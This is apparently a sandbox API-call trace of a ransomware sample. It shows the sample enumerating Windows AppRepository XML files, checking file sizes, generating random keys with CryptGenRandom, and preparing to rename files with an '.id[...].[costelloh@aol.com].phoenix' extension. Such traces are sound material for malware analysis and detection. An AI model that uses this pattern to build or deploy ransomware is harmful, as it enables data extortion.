	[0229.853] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.853] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=4553) returned 1
	[0229.853] CloseHandle (hObject=0x2e4) returned 1
	[0229.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.854] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_17.8010.5926.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_17.8010.5926.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.854] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.854] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.854] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15378) returned 1
	[0229.854] CloseHandle (hObject=0x2e4) returned 1
	[0229.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.854] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_2015.6306.23501.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.854] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.854] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_2017.311.255.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.855] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=15943) returned 1
	[0229.855] CloseHandle (hObject=0x2e4) returned 1
	[0229.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_2017.311.255.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_2017.311.255.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.855] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftofficehub_2017.311.255.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.855] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.855] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.855] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=842) returned 1
	[0229.855] CloseHandle (hObject=0x2e4) returned 1
	[0229.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.856] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.856] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.856] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.856] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=842) returned 1
	[0229.856] CloseHandle (hObject=0x2e4) returned 1
	[0229.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.856] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.856] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.856] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.857] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16833) returned 1
	[0229.857] CloseHandle (hObject=0x2e4) returned 1
	[0229.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.857] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.857] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.857] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.857] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=8583) returned 1
	[0229.857] CloseHandle (hObject=0x2e4) returned 1
	[0229.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.858] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.14.1181.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.858] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.858] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.858] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=839) returned 1
	[0229.858] CloseHandle (hObject=0x2e4) returned 1
	[0229.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.858] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.859] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.859] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.859] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16364) returned 1
	[0229.859] CloseHandle (hObject=0x2e4) returned 1
	[0229.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.859] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftSolitaireCollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftsolitairecollection_3.3.9211.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.859] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.859] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.859] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=828) returned 1
	[0229.859] CloseHandle (hObject=0x2e4) returned 1
	[0229.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.860] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-100_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.860] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.860] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.860] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=828) returned 1
	[0229.860] CloseHandle (hObject=0x2e4) returned 1
	[0229.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-125_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-125_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.860] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_split.scale-125_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_split.scale-125_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.860] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.860] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.861] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=16429) returned 1
	[0229.861] CloseHandle (hObject=0x2e4) returned 1
	[0229.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.861] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.861] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.861] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.861] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=17166) returned 1
	[0229.861] CloseHandle (hObject=0x2e4) returned 1
	[0229.861] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftStickyNotes_1.4.101.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftstickynotes_1.4.101.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
